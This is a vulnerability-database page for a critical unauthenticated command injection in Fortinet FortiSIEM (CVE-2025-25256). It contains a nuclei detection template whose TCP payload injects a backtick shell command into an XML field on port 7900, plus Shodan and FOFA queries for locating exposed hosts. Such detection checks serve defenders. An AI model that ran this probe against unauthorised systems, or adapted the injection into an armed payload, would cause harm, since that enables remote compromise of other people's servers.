Browse / CVEs / CVE-2025-25256
CVE-2025-25256· fortinet / fortisiem· CWE-78
Fortinet FortiSIEM - OS Command Injection
criticalseverity
9.8CVSS score
65%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Fortinet FortiSIEM 6.7.9 < version <= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.
Impact
Unauthenticated attackers can execute arbitrary commands, potentially leading to full system compromise.
Fix
Update to the latest version beyond 7.3.1.
How to confirm it
Send: tcp probe to tls://{{Hostname}}
Positive when: contains in raw "\u0001\u0000\u0000\u0000"Run it with nuclei: nuclei -id CVE-2025-25256 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-25256
info:
name: Fortinet FortiSIEM - OS Command Injection
severity: critical
author: watchtowr,darses
description: |
Fortinet FortiSIEM 6.7.9 < version <= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.
impact: |
Unauthenticated attackers can execute arbitrary commands, potentially leading to full system compromise.
remediation: |
Update to the latest version beyond 7.3.1.
classification:
cve-id: CVE-2025-25256
cwe-id: CWE-78
cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
cvss-score: 9.8
epss-percentile: 0.99255
epss-score: 0.64959
cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
metadata:
vendor: fortinet
product: fortisiem
shodan-query:
- http.favicon.hash:-1341442175
- http.html:"var hst = location.hostname"
fofa-query:
- icon_hash="-1341442175"
- body="var hst = location.hostname"
reference:
- https://www.fortiguard.com/psirt/FG-IR-25-152
- https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256
- https://labs.watchtowr.com/should-security-solutions-be-secure-maybe-were-all-wrong-fortinet-fortisiem-pre-auth-command-injection-cve-2025-25256/
tags: cve,cve2025,rce,network,tcp,fortinet,vkev,vuln
variables:
xml: |
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>`echo${IFS}/`</archive_nfs_archive_dir>
<scope>local</scope>
</root>
payload: "\x5a\x00\x00\x00{{hex_decode(dec_to_hex(len(xml)))}}\x00\x00\x00\x6f\x42\x1e\x40\x00\x00\x00\x00{{xml}}"
tcp:
- inputs:
- data: "{{payload}}"
host:
- "tls://{{Hostname}}"
port: 7900
read-size: 1024
matchers:
- type: word
part: raw
words:
- "\x01\x00\x00\x00"References
- https://www.fortiguard.com/psirt/FG-IR-25-152
- https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256
- https://labs.watchtowr.com/should-security-solutions-be-secure-maybe-were-all-wrong-fortinet-fortisiem-pre-auth-command-injection-cve-2025-25256/
Use this check only on systems you are authorised to test. Where the data comes from